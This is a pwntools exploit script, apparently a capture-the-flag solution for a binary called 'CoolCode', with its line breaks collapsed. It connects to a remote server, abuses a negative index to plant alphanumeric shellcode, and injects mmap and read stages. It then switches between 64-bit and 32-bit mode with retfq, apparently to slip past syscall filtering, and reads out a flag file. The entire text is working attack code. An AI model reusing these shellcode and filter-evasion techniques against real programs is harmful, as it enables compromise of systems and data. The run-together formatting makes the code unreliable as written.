```from pwn import *context.log_level = "debug"context.arch = 'amd64'elf = ELF("demo")local = 0if local:	p = process("./CoolCode")else:	p = remote("39.107.119.192", 9999)
def db():	gdb.attach(p, 'b delete')
def choose(num):	p.sendlineafter("Your choice :", str(num))
def add(idx, mes):	choose(1)	p.sendlineafter("Index: ", str(idx))		p.sendafter("messages: ", mes)
def show(idx):	choose(2)	p.sendlineafter("Index: ", str(idx))
def delete(idx):	choose(3)	p.sendlineafter("Index: ", str(idx))
chunk_list = 0x602140
add(-37, "SX"+"RXWZ"+"4S0BD"+"SX4045"+"0BC"+"48420BB"+"XXX" +"UX")#db()'''push   rsppop    rdxxor    esi, DWORD PTR [edx]push   rdxpop    raxxor    edi, DWORD PTR [eax]push   rbxpop    raxxor    al,0x5Apush   raxpop    rdxpush   rbppop    raxpush   rsi'''add(0,  "TZ"+"32"+"RX"+"38"+"SX"+"4Z"+"PZ"+"UX")add(1,  "RZ"*7+"VVWX")#----#db()delete(0)shellcode_mmap = '''/*mmap(0x40000000,0x100,7,34,0,0)*/push 0x40000000 /*set rdi*/pop rdipush 0x100 /*set rsi*/pop rsipush 7 /*set rdx*/pop rdxpush 0x22 /*set rcx*/pop r10push 0 /*set r8*/pop r8push 0 /*set r9*/pop r9push 0x9pop raxsyscall/*syscall*/push rdipop rsipush 0pop raxpush 0x100pop rdxpush 0pop rdisyscallpush rsiret'''
p.sendline(asm(shellcode_mmap))payload = '''push 0x23push 0x4000000bpop raxpush raxretfq'''open_shellcode = '''mov esp, 0x40000100xor ecx,ecxxor edx,edxmov eax,0x5push 0x67616c66mov ebx,espint 0x80mov ecx,eax'''ret_64 = '''push 0x33push 0x40000030retfqnopnopnopnopnopnop'''read_shellcode = '''push 0x3;pop rdi;push 0x0;pop rax;push 0x40000200pop rsi;push 0x100;pop rdx;syscall;'''
write_shellcode = '''push 0x1pop rdipush 0x1pop raxsyscall'''#db()raw_input("write flag")p.sendline(asm(payload)+asm(open_shellcode)+asm(ret_64)+asm(read_shellcode)+asm(write_shellcode))
p.interactive()
```